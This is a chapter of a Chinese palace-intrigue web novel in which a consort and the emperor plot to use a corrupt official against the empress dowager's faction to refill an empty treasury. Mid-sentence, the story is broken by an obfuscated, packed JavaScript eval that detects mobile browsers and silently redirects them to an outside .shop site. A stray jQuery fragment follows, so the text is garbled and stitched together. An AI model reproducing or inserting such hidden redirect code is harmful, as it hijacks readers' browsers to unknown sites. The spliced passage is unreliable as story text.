后来的几日后宫异常平静,平静到姜芜深深怀疑沈清安和太后在酝酿着什么大事,有山雨欲来风满楼的焦灼。
那日华安殿,沈清安将她一人留下,为她在后宫中树下不少敌人,尤其是祺妃,平日就见她不顺眼,这几日越发刁难。为了避开祺妃,姜芜已经闭门不出了,然而祺妃还是不放过她,今日一早,又来长宁宫堵她。
“听闻姐姐旧疾未愈,臣妾特意送来上好补药,千年灵芝。”
“这是臣妾兄长立下战功,陛下特意赏赐的。”她加重“特意”二字,让贴身宫人打开锦盒,脸上一副“你没见过吧”的得意和显摆,趾高气扬的等着姜芜出丑。给姜芜寻不痛快,找麻烦成了她每日最期待,最开心的时刻。
姜芜将她的话自动过滤,只留下“千年灵芝”四字,接着,一株灵芝赫然落到她眼中,姜芜喜不自胜。
千年灵芝可是好东西。
她让歆雪接过,真心实意的道谢:“多谢妹妹体谅。这样的好东西,我还从未见过。如此,恭敬不如从命,我就收下了。”她脸上挂着笑,心中暗叹祺妃这个傻子,好东西要自己留着,哪有给敌人送上门来的。
不要白不要。
又从歆雪手中迅速接过锦盒,怕祺妃反悔,忙放置柜中,好生收好。
祺妃秀眉紧蹙,怒气挂上脸,支支吾吾半天只剩下一个“你”,气急败坏的领着宫人离开。
姜芜心情颇好,今日双喜临门,坐在案牍前,反复查看林殊送来的回信。回宫后,姜芜派人在城门口等候,一旦林殊有了消息,她能第一时间知道。
烽火下,家书显得格外珍重。信中简略,林殊代笔,说镇北侯已阅览信件,答应她不追穷寇,完完整整的带着将士归家。
她终于舒缓口气,多日压在心中的担子总算卸下。
不过新的难题接踵而来,她看向锦盒中的灵芝,她和沈清安成婚三年,一直维持君臣关系,皇帝的宠爱也只浮于表面。
脑中不知何故闪现过那夜血染长阶的画面,墨黑的眼瞳毫不掩饰的嗜血杀戮,眼角的泪珠残留哀伤。她从不觉得自己是善男信女,也不心软,但那抹哀伤却成了她心中荡漾的波纹。
姜芜拿起锦盒,去了华安殿。
安如海并没有拦她。
或许是沈清安下令,又或者安如海察言观色,这几日沈清安赐下不少赏赐,后宫一度眼红,却不敢招惹。
这个时候,沈清安向太后服软,自己会从世家大族中择一人为后。无疑将后宫矛头对准姜芜,连太后也都侧目。
朝中百官才松下气,又警觉的竖起耳目,镇北侯府深得陛下宠幸,女儿又位居高位,悬空的后位,会不会落到姜家。
如此,朝堂中又掀起一波洪涛。
朝堂混乱,太后蠢蠢欲动,沈清安目的达到,见好就收,雨露均沾的安抚后宫,做给天下一个假象,宫中任何一个妃嫔都有可能荣登那个至高无上的位置。
姜芜进了华安殿,沈清安正气定神闲的批阅奏疏。他抬眼看了姜芜,饶有兴致的多说了几句。
“脸上的伤好了许多。”
姜芜抚上脸,还有疤痕未褪,不过已经细小,太医说无法尽除,会留下一道淡痕。
她不在意。
当初也不是意气用事,而是试探。
试探沈清安有几分情谊,对镇北侯府留了几分生机。
他只见了她,在她以命做赌的情形下,才见了她。那日大雪纷飞,她以簪挺抵住脖颈,若沈清安不来,她也不知道自己下一步会做出什么。后来回想,只当自己疯了,慌不择路。
他说帝王无情,深宫中,权力是最不值一提的东西,天下里,有太多身不由己的事。
所以,他早算好了时间,做好了计划。
现在,她仍然揣测不了圣意,但有了锦囊,给了她足够的底气。
那张空白圣旨,是她的底牌,只有一次机会,一次拯救镇北侯府的机会。
姜芜将锦盒放下,“虽是你的东西,但千年灵芝罕见,放着也是浪费,给你也算物尽所用。”
自从那日和沈清安摊牌以后,姜芜不再装,懒得敷衍,从从前的卑微臣子转变成逐渐对等的合作关系。
沈清安笑道:“祺妃找你麻烦了?”他头也没抬,将一封批阅好的奏疏放在一旁,又打开一本。
姜芜走进,“这不是陛下想看到的吗?”
“你故意给我树敌,难道不怕太后真的将我这颗眼中钉除去?”出于镇北侯的对立关系,太后一直看她不顺眼。
上一世的灭门惨案,有没有太后手笔?
“她不会。”沈清安笃定。
“陛下怎么知道?”姜芜疑惑。
“你只有一条路,没有选择。身后是万丈深渊,一步错,粉身碎骨。”沈清安欺身逼近,身上传来淡淡的熏香,姜芜恍惚,她朝后踉跄几步。
沈清安直起身,让姜芜坐下,“在朕身边,太后会忌惮皇权,对你动手前,会思考能不能承受对抗皇权的后果。”
姜芜黯然,沉重的呼气,无力感重重捶打她。她现在是树下野草,只能攀附强大残喘。
她抬起头,问:“为什么选择我?”她疑惑,镇北侯拥立皇权,他无需多此一举。
沈清安迟疑的思考,他没有想过,也没料到姜芜会问。
半晌他才开口:“选不选择,你都会被划为拥皇党。你的出生注定你将走一条风雨路,这条路上荆棘相伴,险象环生。”他顿了顿,“不管你信不信,朕,想和你一起走。”
姜芜心口一滞,险些被沈清安的话唬住,不过瞬间清醒,是想拉她垫背吧?继续咄咄发问:“如若他日,陛下大权在握,会不会想铲除这段路?”
会不会像今日忌惮太后那样忌惮镇北侯功高盖主,除之后快?
后来几日,她断断续续梦到一些片段,指引她,凶手另有其人。
她看着沈清安,等他回答。
沈清安没有回复。
他的沉默就是答案。姜芜失魂落魄,不知道该是什么情绪,她感到低落,被伤害的难过。
沈清安从案牍拿起两张奏折,摆到姜芜手侧。
“一张是边关递来的折子,军费不足,军饷亏空,朕的将士为朕守江山,朕却沦落得要他们饿肚子打仗。”沈清安叹气。
“一张是太后修建陵寝。”
“朕继任时,先帝留给朕的国库,白银不足百万。边关告急,三年来几乎耗尽。这些年大灾小灾不断,百姓苦,朕下令轻减徭赋,国库进账不足百万。如今,所剩堪堪三十万两。”沈清安拧着眉,手指间断的揉着太阳穴。
姜芜听父亲说起,不少官员藏污纳垢,表面清正廉洁,背地白银做榻,黄金为枕。不正之风上行下效,上至太后,皇亲国戚,下至
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13259217|139802||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
县令九品官。收刮民脂民膏,不为人事。
只是,她不知国运竟举步维艰至此。
“民心所向,胜之所往,大道可成。陛下爱惜百姓,天下人知,民心向背,百姓亦能体谅陛下。”
“若陛下还像以往,节俭宫中用度,以此贴补国库,只能扬汤止沸,起不得作用。一来不禁宫中有怨,二来长此以往再无银资可节俭。”
沈清安清楚,节流不如开源,只是现在无源可开。若从官员着手,惩处贪官污吏,确实能获得一大笔资金周转。只是,难免一场浩劫。
在他羽翼未丰时,处处掣肘。
所以,他想抢太后之前,拉拢林家。
“陛下对朝中贪墨行为心知肚明,连我居后宫也听闻一二,像李之高,不过一个府仓大吏,贪而无才,在民生多艰,国运艰难时,花天酒地不干正事,为保禄位用收刮的百姓血汗四处钻营,劣迹秽行!这样的小人,陛下难道还要容忍?”
沈清安说:“朕不能忍也要忍。”
姜芜挑眉。
“李之高是太后宠臣,官职不高,却得太后宠幸,每年行贿宫中的银两不下五十万两。搜罗各国奇珍异宝进献太后。府仓大吏不是要紧官职,却是肥差,从中中饱私囊不计其数。太后有心将李之高再升一升,要他掌管盐铁之营。”
姜芜心下一颤。
“陛下就听之任之?”未免太过窝囊。
“朕当然不想!”
沈清安拽紧拳头,他身居高位,却处处被限,连个官职也要看太后满不满意。
胸中纵有凌云志,也一筹莫展。
“朕要擢拔李之高为都转运使司。”
从三品官员?
姜芜想说他疯了!
沈清安看出姜芜的疑惑,问她:“若朕用一个贪官将朝中贪官连根拔起,顺带挫太后锐气,在朝中增添自己的势力。这个贪官,你,用还是不用?”
姜芜琢磨起沈清安话里的意思。
“贪官贪的百姓之财,陛下想让他们物归原主恐怕不易。”姜芜说。
“陛下打算怎么做?”
姜芜自知失言,后宫不得干政。
沈清安看出她的慌乱,安抚道:“无事,朕既然说了这条路与你一起走,在朕面前,你可以不用拘束。”
沈清安未免太信任她?
若她心性不定,为自保投靠太后,将他的计划全盘托出……
或许沈清安在试探她,只要她转头告密,接下来死无葬身之地的将会是她。
姜芜摸了摸后颈,背后发凉。
“国库只有三十万两,已经发不出官员俸禄,边关战事紧急,不能延误。”
“所以陛下想一劳永逸,借李之高之手,除掉贪官,收拢私财,充盈国库,再剪去太后党羽,一箭双雕!”姜芜明白过来,沈清安升任李之高为都转运使司,掌管边关财政银粮。若此间出现差错,正好除去李之高。
“可要是李之高足够小心,或者胆子不够,将军饷顺利送往边关呢?”
“你是明白人,许多事不用说得明明白白。”沈清安道。
李之高一定会贪墨。
不管他会不会做,这件事一定会有人承担。
“至于官员俸禄之事,还要你帮忙。”
“我?”姜芜不解。她在朝中既无亲信,后宫中又没有可靠心腹,能帮他什么?